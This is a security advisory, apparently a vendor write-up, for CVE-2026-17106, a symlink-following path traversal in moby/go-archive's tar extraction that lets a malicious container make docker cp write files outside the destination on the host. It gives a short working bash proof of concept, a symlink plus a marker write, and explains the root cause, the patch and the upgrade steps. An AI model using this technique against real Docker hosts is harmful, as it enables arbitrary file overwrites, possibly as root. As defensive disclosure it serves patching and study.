highCVE-2026-17106Aug 18, 2026

CVE-2026-17106: moby/go-archive Symlink-Following Path Traversal in Tar Extraction

Rohit Hatagale
AI Security Researcher, SecureLayer7

A crafted tar archive can plant a symlink during extraction to redirect subsequent file writes outside the intended destination directory, letting a malicious Docker container overwrite arbitrary…

Packagegithub.com/moby/go-archive
Ecosystemgo
Affected< 0.3.0
Fixed in0.3.0
CVE-2026-17106: moby/go-archive Symlink-Following Path Traversal in Tar Extraction

The problem

The tar extraction functions in moby/go-archive (Unpack, UnpackLayer, Untar, UntarUncompressed, and the ApplyLayer helpers) validate entry paths using lexical string checks only. Those checks pass for a symlink whose target string looks local, but the OS later resolves the link to an absolute path outside the destination.

Any archive entry written after the symlink is created lands wherever the OS resolves the link. In the docker cp copy-out flow this means a container process controls the archive and can write files to any host path writable by the user running docker cp. On Linux with sudo that is root.

On macOS extraction runs on the host, not inside the VM.

Proof of concept

A working proof-of-concept for CVE-2026-17106 in github.com/moby/go-archive, with the exact payload below.

bash
# Inside the attacker-controlled container, set up the symlink + payload:
mkdir -p /data/escape
ln -s /tmp/dst2 /data/escape/link        # symlink pointing outside dst
mkdir -p /data/escape/link              # directory entry that follows the link
echo 'container-controlled-host-marker' > /data/escape/link/marker

# Host user (victim) copies from container to ./dst
# dst2 is a sibling of dst, sharing the raw string prefix "dst"
docker cp <container>:/data/escape ./dst

# Result: ./dst2/marker is created on the host
# The string-prefix check passes because "./dst2" starts with "./dst"
# The OS follows the symlink and writes outside the intended directory

The root cause is a TOCTOU/link-following bug (CWE-22 + CWE-59). The extractor computed the final path with a lexical string-prefix check (e.g., strings.HasPrefix(resolved, dest)) and then created the symlink from the raw archive-provided value. Those two paths diverge when the symlink target is absolute: the check sees a cleaned string that looks in-bounds, but the OS follows the real link when writing the child entry, landing outside the destination.

A concurrent race in the daemon's filepath.WalkDir tarballer made the attack easier: a container process could swap a directory for a symlink between WalkDir's type-check and addTarFile's Lstat call, producing a valid-looking tar stream with the symlink followed by apparent children.

The patch (v0.3.0) replaced string-prefix path validation with os.Root-based scoped filesystem operations and filepath.IsLocal() checks after cleaning and stripping leading slashes, ensuring all filesystem operations are opened through a handle anchored to the destination root so symlinks cannot redirect writes outside it.

On Windows, NtCreateFile with OBJ_DONT_REPARSE was added to block reparse-point following during chtimes as well.

The fix

Upgrade github.com/moby/go-archive to v0.3.0 or later. For Docker users: upgrade to Docker Engine and CLI 29.7.2+, Docker Desktop 4.86.0+, and Docker Sandboxes 0.38.0+. If you cannot upgrade immediately, stop containers before running docker cp, avoid docker cp against untrusted or live containers, and never invoke docker cp with sudo.

Reported by Imperva Red Team.

References: [1][2][3][4][5][6]

Related research